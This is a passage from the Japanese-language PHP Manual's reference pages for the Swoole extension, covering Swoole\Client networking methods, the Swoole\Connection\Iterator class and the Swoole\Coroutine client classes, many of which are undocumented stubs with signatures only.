パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Redirect the data to another file descriptor.

  • ≪ Swoole\Client::pause
  • Swoole\Client::recv ≫
  • PHP Manual
  • Swoole\Client
  • Redirect the data to another file descriptor.

Swoole\Client::pipe

(PECL swoole >= 1.9.0)

Swoole\Client::pipe — Redirect the data to another file descriptor.

説明

public Swoole\Client::pipe ( string $socket ) : void

パラメータ

socket

User Contributed Notes

There are no user contributed notes for this page.


Receive data from the remote socket.

  • ≪ Swoole\Client::pipe
  • Swoole\Client::resume ≫
  • PHP Manual
  • Swoole\Client
  • Receive data from the remote socket.

Swoole\Client::recv

(PECL swoole >= 1.9.0)

Swoole\Client::recv — Receive data from the remote socket.

説明

public Swoole\Client::recv ( string $size = ? , string $flag = ? ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

size

flag

返り値

User Contributed Notes

There are no user contributed notes for this page.


Resume receiving data.

  • ≪ Swoole\Client::recv
  • Swoole\Client::send ≫
  • PHP Manual
  • Swoole\Client
  • Resume receiving data.

Swoole\Client::resume

(PECL swoole >= 1.9.0)

Swoole\Client::resume — Resume receiving data.

説明

public Swoole\Client::resume ( ) : void

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote TCP socket.

  • ≪ Swoole\Client::resume
  • Swoole\Client::sendfile ≫
  • PHP Manual
  • Swoole\Client
  • Send data to the remote TCP socket.

Swoole\Client::send

(PECL swoole >= 1.9.0)

Swoole\Client::send — Send data to the remote TCP socket.

説明

public Swoole\Client::send ( string $data , string $flag = ? ) : int

パラメータ

data

The data to send which can be string or binary

flag

返り値

If the client sends data successfully, it returns the length of data sent. Or it returns false and sets $swoole_client->errCode. For sync client, there is no limit for the data to send. For async client, The limit for the data to send is socket_buffer_size.

User Contributed Notes

There are no user contributed notes for this page.


Send file to the remote TCP socket.

  • ≪ Swoole\Client::send
  • Swoole\Client::sendto ≫
  • PHP Manual
  • Swoole\Client
  • Send file to the remote TCP socket.

Swoole\Client::sendfile

(PECL swoole >= 1.9.0)

Swoole\Client::sendfile — Send file to the remote TCP socket.

説明

public Swoole\Client::sendfile ( string $filename , int $offset = ? ) : bool

This is a wrapper of the Linux sendfile system call.

パラメータ

filename

File path of the file to send.

offset

Offset of the file to send

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote UDP address.

  • ≪ Swoole\Client::sendfile
  • Swoole\Client::set ≫
  • PHP Manual
  • Swoole\Client
  • Send data to the remote UDP address.

Swoole\Client::sendto

(PECL swoole >= 1.9.0)

Swoole\Client::sendto — Send data to the remote UDP address.

説明

public Swoole\Client::sendto ( string $ip , int $port , string $data ) : bool

The swoole client should be type of SWOOLE_SOCK_UDP or SWOOLE_SOCK_UDP6.

パラメータ

ip

The IP address of remote host, IPv4 or IPv6.

port

The port number of remote host.

data

The data to send which should be less-than 64K.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the Swoole client parameters before the connection is established.

  • ≪ Swoole\Client::sendto
  • Swoole\Client::sleep ≫
  • PHP Manual
  • Swoole\Client
  • Set the Swoole client parameters before the connection is established.

Swoole\Client::set

(PECL swoole >= 1.9.0)

Swoole\Client::set — Set the Swoole client parameters before the connection is established.

説明

public Swoole\Client::set ( array $settings ) : void

パラメータ

settings

返り値

User Contributed Notes

There are no user contributed notes for this page.


Remove the TCP client from system event loop.

  • ≪ Swoole\Client::set
  • Swoole\Client::wakeup ≫
  • PHP Manual
  • Swoole\Client
  • Remove the TCP client from system event loop.

Swoole\Client::sleep

(PECL swoole >= 1.9.0)

Swoole\Client::sleep — Remove the TCP client from system event loop.

説明

public Swoole\Client::sleep ( ) : void

Remove the TCP client from system event loop.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Add the TCP client back into the system event loop.

  • ≪ Swoole\Client::sleep
  • Swoole\Connection\Iterator ≫
  • PHP Manual
  • Swoole\Client
  • Add the TCP client back into the system event loop.

Swoole\Client::wakeup

(PECL swoole >= 1.9.0)

Swoole\Client::wakeup — Add the TCP client back into the system event loop.

説明

public Swoole\Client::wakeup ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Connection\Iterator class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Connection\Iterator implements Iterator , Countable , ArrayAccess {
/* メソッド */
public count ( ) : int
public current ( ) : Connection
public key ( ) : int
public next ( ) : Connection
public offsetExists ( int $index ) : bool
public offsetGet ( string $index ) : Connection
public offsetSet ( int $offset , mixed $connection ) : void
public offsetUnset ( int $offset ) : void
public rewind ( ) : void
public valid ( ) : bool
}

目次

  • Swoole\Connection\Iterator::count — Count connections.
  • Swoole\Connection\Iterator::current — Return current connection entry.
  • Swoole\Connection\Iterator::key — Return key of the current connection.
  • Swoole\Connection\Iterator::next — Move to the next connection.
  • Swoole\Connection\Iterator::offsetExists — Check if offet exists.
  • Swoole\Connection\Iterator::offsetGet — Offset to retrieve.
  • Swoole\Connection\Iterator::offsetSet — Assign a Connection to the specified offset.
  • Swoole\Connection\Iterator::offsetUnset — Unset an offset.
  • Swoole\Connection\Iterator::rewind — Rewinds iterator
  • Swoole\Connection\Iterator::valid — Check if current position is valid.

User Contributed Notes

There are no user contributed notes for this page.


Count connections.

  • ≪ Swoole\Connection\Iterator
  • Swoole\Connection\Iterator::current ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Count connections.

Swoole\Connection\Iterator::count

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::count — Count connections.

説明

public Swoole\Connection\Iterator::count ( ) : int

Gets the number of connections.

パラメータ

この関数にはパラメータはありません。

返り値

The number of connections.

User Contributed Notes

There are no user contributed notes for this page.


Return current connection entry.

  • ≪ Swoole\Connection\Iterator::count
  • Swoole\Connection\Iterator::key ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Return current connection entry.

Swoole\Connection\Iterator::current

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::current — Return current connection entry.

説明

public Swoole\Connection\Iterator::current ( ) : Connection

Get current connection entry.

パラメータ

この関数にはパラメータはありません。

返り値

The current connection entry.

User Contributed Notes

There are no user contributed notes for this page.


Return key of the current connection.

  • ≪ Swoole\Connection\Iterator::current
  • Swoole\Connection\Iterator::next ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Return key of the current connection.

Swoole\Connection\Iterator::key

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::key — Return key of the current connection.

説明

public Swoole\Connection\Iterator::key ( ) : int

This function returns key of the current connection.

パラメータ

この関数にはパラメータはありません。

返り値

Key of the current connection.

User Contributed Notes

There are no user contributed notes for this page.


Move to the next connection.

  • ≪ Swoole\Connection\Iterator::key
  • Swoole\Connection\Iterator::offsetExists ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Move to the next connection.

Swoole\Connection\Iterator::next

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::next — Move to the next connection.

説明

public Swoole\Connection\Iterator::next ( ) : Connection

The iterator to the next connection.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if offet exists.

  • ≪ Swoole\Connection\Iterator::next
  • Swoole\Connection\Iterator::offsetGet ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Check if offet exists.

Swoole\Connection\Iterator::offsetExists

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetExists — Check if offet exists.

説明

public Swoole\Connection\Iterator::offsetExists ( int $index ) : bool

Check if offset exists.

パラメータ

index

The offset being checked.

返り値

Returns TRUE if the offset exists, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Offset to retrieve.

  • ≪ Swoole\Connection\Iterator::offsetExists
  • Swoole\Connection\Iterator::offsetSet ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Offset to retrieve.

Swoole\Connection\Iterator::offsetGet

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetGet — Offset to retrieve.

説明

public Swoole\Connection\Iterator::offsetGet ( string $index ) : Connection

Return the connection at specified offset.

パラメータ

index

The offset to retrieve.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Assign a Connection to the specified offset.

  • ≪ Swoole\Connection\Iterator::offsetGet
  • Swoole\Connection\Iterator::offsetUnset ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Assign a Connection to the specified offset.

Swoole\Connection\Iterator::offsetSet

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetSet — Assign a Connection to the specified offset.

説明

public Swoole\Connection\Iterator::offsetSet ( int $offset , mixed $connection ) : void

Assign a Connection to the specified offset.

パラメータ

offset

The offset to assign the Connection to.

connection

The connection to set.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Unset an offset.

  • ≪ Swoole\Connection\Iterator::offsetSet
  • Swoole\Connection\Iterator::rewind ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Unset an offset.

Swoole\Connection\Iterator::offsetUnset

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetUnset — Unset an offset.

説明

public Swoole\Connection\Iterator::offsetUnset ( int $offset ) : void

Unsets an offset.

パラメータ

offset

The offset to unset.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Rewinds iterator

  • ≪ Swoole\Connection\Iterator::offsetUnset
  • Swoole\Connection\Iterator::valid ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Rewinds iterator

Swoole\Connection\Iterator::rewind

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::rewind — Rewinds iterator

説明

public Swoole\Connection\Iterator::rewind ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if current position is valid.

  • ≪ Swoole\Connection\Iterator::rewind
  • Swoole\Coroutine ≫
  • PHP Manual
  • Swoole\Connection\Iterator
  • Check if current position is valid.

Swoole\Connection\Iterator::valid

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::valid — Check if current position is valid.

説明

public Swoole\Connection\Iterator::valid ( ) : bool

Checks if the current position is valid.

パラメータ

この関数にはパラメータはありません。

返り値

Returns TRUE if the current iterator position is valid, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Coroutine class

(PECL swoole >= 2.0.0)

はじめに

クラス概要

Swoole\Coroutine {
/* メソッド */
public static call_user_func_array ( callable $callback , array $param_array ) : mixed
public static call_user_func ( callable $callback , mixed ...$args ) : mixed
public static cli_wait ( ) : ReturnType
public static create ( ) : ReturnType
public Swoole\Coroutine\Client::close ( ) : ReturnType
public Swoole\Coroutine\Client::connect ( ) : ReturnType
public Swoole\Coroutine\Client::__destruct ( ) : ReturnType
public Swoole\Coroutine\Client::getpeername ( ) : ReturnType
public Swoole\Coroutine\Client::getsockname ( ) : ReturnType
public Swoole\Coroutine\Client::isConnected ( ) : ReturnType
public Swoole\Coroutine\Client::recv ( ) : ReturnType
public Swoole\Coroutine\Client::send ( ) : ReturnType
public Swoole\Coroutine\Client::sendfile ( ) : ReturnType
public Swoole\Coroutine\Client::sendto ( ) : ReturnType
public Swoole\Coroutine\Client::set ( ) : ReturnType
public Swoole\Coroutine\Http\Client::addFile ( ) : ReturnType
public Swoole\Coroutine\Http\Client::close ( ) : ReturnType
public Swoole\Coroutine\Http\Client::__destruct ( ) : ReturnType
public Swoole\Coroutine\Http\Client::execute ( ) : ReturnType
public Swoole\Coroutine\Http\Client::get ( ) : ReturnType
public Swoole\Coroutine\Http\Client::getDefer ( ) : ReturnType
public Swoole\Coroutine\Http\Client::isConnected ( ) : ReturnType
public Swoole\Coroutine\Http\Client::post ( ) : ReturnType
public Swoole\Coroutine\Http\Client::recv ( ) : ReturnType
public Swoole\Coroutine\Http\Client::set ( ) : ReturnType
public Swoole\Coroutine\Http\Client::setCookies ( ) : ReturnType
public Swoole\Coroutine\Http\Client::setData ( ) : ReturnType
public Swoole\Coroutine\Http\Client::setDefer ( ) : ReturnType
public Swoole\Coroutine\Http\Client::setHeaders ( ) : ReturnType
public Swoole\Coroutine\Http\Client::setMethod ( ) : ReturnType
public Swoole\Coroutine\MySQL::close ( ) : ReturnType
public Swoole\Coroutine\MySQL::connect ( ) : ReturnType
public Swoole\Coroutine\MySQL::__destruct ( ) : ReturnType
public Swoole\Coroutine\MySQL::getDefer ( ) : ReturnType
public Swoole\Coroutine\MySQL::query ( ) : ReturnType
public Swoole\Coroutine\MySQL::recv ( ) : ReturnType
public Swoole\Coroutine\MySQL::setDefer ( ) : ReturnType
public static getuid ( ) : ReturnType
public static resume ( ) : ReturnType
public static suspend ( ) : ReturnType
}

目次

  • Swoole\Coroutine::call_user_func_array — Call a callback with an array of parameters
  • Swoole\Coroutine::call_user_func — Call a callback given by the first parameter
  • Swoole\Coroutine::cli_wait — Description
  • Swoole\Coroutine::create — Description
  • Swoole\Coroutine\Client::close — Description
  • Swoole\Coroutine\Client::connect — Description
  • Swoole\Coroutine\Client::__construct — Description
  • Swoole\Coroutine\Client::__destruct — Description
  • Swoole\Coroutine\Client::getpeername — Description
  • Swoole\Coroutine\Client::getsockname — Description
  • Swoole\Coroutine\Client::isConnected — Description
  • Swoole\Coroutine\Client::recv — Description
  • Swoole\Coroutine\Client::send — Description
  • Swoole\Coroutine\Client::sendfile — Description
  • Swoole\Coroutine\Client::sendto — Description
  • Swoole\Coroutine\Client::set — Description
  • Swoole\Coroutine\Http\Client::addFile — Description
  • Swoole\Coroutine\Http\Client::close — Description
  • Swoole\Coroutine\Http\Client::__construct — Description
  • Swoole\Coroutine\Http\Client::__destruct — Description
  • Swoole\Coroutine\Http\Client::execute — Description
  • Swoole\Coroutine\Http\Client::get — Description
  • Swoole\Coroutine\Http\Client::getDefer — Description
  • Swoole\Coroutine\Http\Client::isConnected — Description
  • Swoole\Coroutine\Http\Client::post — Description
  • Swoole\Coroutine\Http\Client::recv — Description
  • Swoole\Coroutine\Http\Client::set — Description
  • Swoole\Coroutine\Http\Client::setCookies — Description
  • Swoole\Coroutine\Http\Client::setData — Description
  • Swoole\Coroutine\Http\Client::setDefer — Description
  • Swoole\Coroutine\Http\Client::setHeaders — Description
  • Swoole\Coroutine\Http\Client::setMethod — Description
  • Swoole\Coroutine\MySQL::close — Description
  • Swoole\Coroutine\MySQL::connect — Description
  • Swoole\Coroutine\MySQL::__construct — Description
  • Swoole\Coroutine\MySQL::__destruct — Description
  • Swoole\Coroutine\MySQL::getDefer — Description
  • Swoole\Coroutine\MySQL::query — Description
  • Swoole\Coroutine\MySQL::recv — Description
  • Swoole\Coroutine\MySQL::setDefer — Description
  • Swoole\Coroutine::getuid — Description
  • Swoole\Coroutine::resume — Description
  • Swoole\Coroutine::suspend — Description

User Contributed Notes

There are no user contributed notes for this page.


Call a callback with an array of parameters

  • ≪ Swoole\Coroutine
  • Swoole\Coroutine::call_user_func ≫
  • PHP Manual
  • Swoole\Coroutine
  • Call a callback with an array of parameters

Swoole\Coroutine::call_user_func_array

(PECL swoole >= 2.0.0)

Swoole\Coroutine::call_user_func_array — Call a callback with an array of parameters

説明

public static Swoole\Coroutine::call_user_func_array ( callable $callback , array $param_array ) : mixed

Calls the callback given by the first parameter with the parameters in param_array.

パラメータ

callback

The callable to be called.

param_array

Zero or more parameters in the array to be passed to the callback.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Call a callback given by the first parameter

  • ≪ Swoole\Coroutine::call_user_func_array
  • Swoole\Coroutine::cli_wait ≫
  • PHP Manual
  • Swoole\Coroutine
  • Call a callback given by the first parameter

Swoole\Coroutine::call_user_func

(PECL swoole >= 2.0.0)

Swoole\Coroutine::call_user_func — Call a callback given by the first parameter

説明

public static Swoole\Coroutine::call_user_func ( callable $callback , mixed ...$args ) : mixed

Calls the callback given by the first parameter and passes the remaining parameters as arguments.

パラメータ

callback

The callable to be called.

args

Zero or more parameters to be passed to the callback.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine::call_user_func
  • Swoole\Coroutine::create ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::cli_wait

(PECL swoole >= 2.0.0)

Swoole\Coroutine::cli_wait — Description

説明

public static Swoole\Coroutine::cli_wait ( ) : ReturnType

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine::cli_wait
  • Swoole\Coroutine\Client::close ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::create

(PECL swoole >= 2.0.0)

Swoole\Coroutine::create — Description

説明

public static Swoole\Coroutine::create ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine::create
  • Swoole\Coroutine\Client::connect ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::close — Description

説明

public Swoole\Coroutine\Client::close ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::close
  • Swoole\Coroutine\Client::__construct ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::connect

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::connect — Description

説明

public Swoole\Coroutine\Client::connect ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::connect
  • Swoole\Coroutine\Client::__destruct ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::__construct — Description

説明

public Swoole\Coroutine\Client::__construct ( )

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::__construct
  • Swoole\Coroutine\Client::getpeername ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::__destruct — Description

説明

public Swoole\Coroutine\Client::__destruct ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::__destruct
  • Swoole\Coroutine\Client::getsockname ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::getpeername

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::getpeername — Description

説明

public Swoole\Coroutine\Client::getpeername ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::getpeername
  • Swoole\Coroutine\Client::isConnected ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::getsockname

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::getsockname — Description

説明

public Swoole\Coroutine\Client::getsockname ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::getsockname
  • Swoole\Coroutine\Client::recv ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::isConnected

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::isConnected — Description

説明

public Swoole\Coroutine\Client::isConnected ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::isConnected
  • Swoole\Coroutine\Client::send ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::recv — Description

説明

public Swoole\Coroutine\Client::recv ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::recv
  • Swoole\Coroutine\Client::sendfile ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::send

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::send — Description

説明

public Swoole\Coroutine\Client::send ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::send
  • Swoole\Coroutine\Client::sendto ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::sendfile

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::sendfile — Description

説明

public Swoole\Coroutine\Client::sendfile ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::sendfile
  • Swoole\Coroutine\Client::set ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::sendto

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::sendto — Description

説明

public Swoole\Coroutine\Client::sendto ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::sendto
  • Swoole\Coroutine\Http\Client::addFile ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::set

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::set — Description

説明

public Swoole\Coroutine\Client::set ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Client::set
  • Swoole\Coroutine\Http\Client::close ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::addFile

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::addFile — Description

説明

public Swoole\Coroutine\Http\Client::addFile ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::addFile
  • Swoole\Coroutine\Http\Client::__construct ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::close — Description

説明

public Swoole\Coroutine\Http\Client::close ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::close
  • Swoole\Coroutine\Http\Client::__destruct ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::__construct — Description

説明

public Swoole\Coroutine\Http\Client::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::__construct
  • Swoole\Coroutine\Http\Client::execute ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::__destruct — Description

説明

public Swoole\Coroutine\Http\Client::__destruct ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::__destruct
  • Swoole\Coroutine\Http\Client::get ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::execute

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::execute — Description

説明

public Swoole\Coroutine\Http\Client::execute ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::execute
  • Swoole\Coroutine\Http\Client::getDefer ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::get

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::get — Description

説明

public Swoole\Coroutine\Http\Client::get ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::get
  • Swoole\Coroutine\Http\Client::isConnected ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::getDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::getDefer — Description

説明

public Swoole\Coroutine\Http\Client::getDefer ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::getDefer
  • Swoole\Coroutine\Http\Client::post ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::isConnected

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::isConnected — Description

説明

public Swoole\Coroutine\Http\Client::isConnected ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::isConnected
  • Swoole\Coroutine\Http\Client::recv ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::post

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::post — Description

説明

public Swoole\Coroutine\Http\Client::post ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::post
  • Swoole\Coroutine\Http\Client::set ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::recv — Description

説明

public Swoole\Coroutine\Http\Client::recv ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::recv
  • Swoole\Coroutine\Http\Client::setCookies ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::set

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::set — Description

説明

public Swoole\Coroutine\Http\Client::set ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::set
  • Swoole\Coroutine\Http\Client::setData ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setCookies

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setCookies — Description

説明

public Swoole\Coroutine\Http\Client::setCookies ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::setCookies
  • Swoole\Coroutine\Http\Client::setDefer ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setData

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setData — Description

説明

public Swoole\Coroutine\Http\Client::setData ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Coroutine\Http\Client::setData
  • Swoole\Coroutine\Http\Client::setHeaders ≫
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setDefer

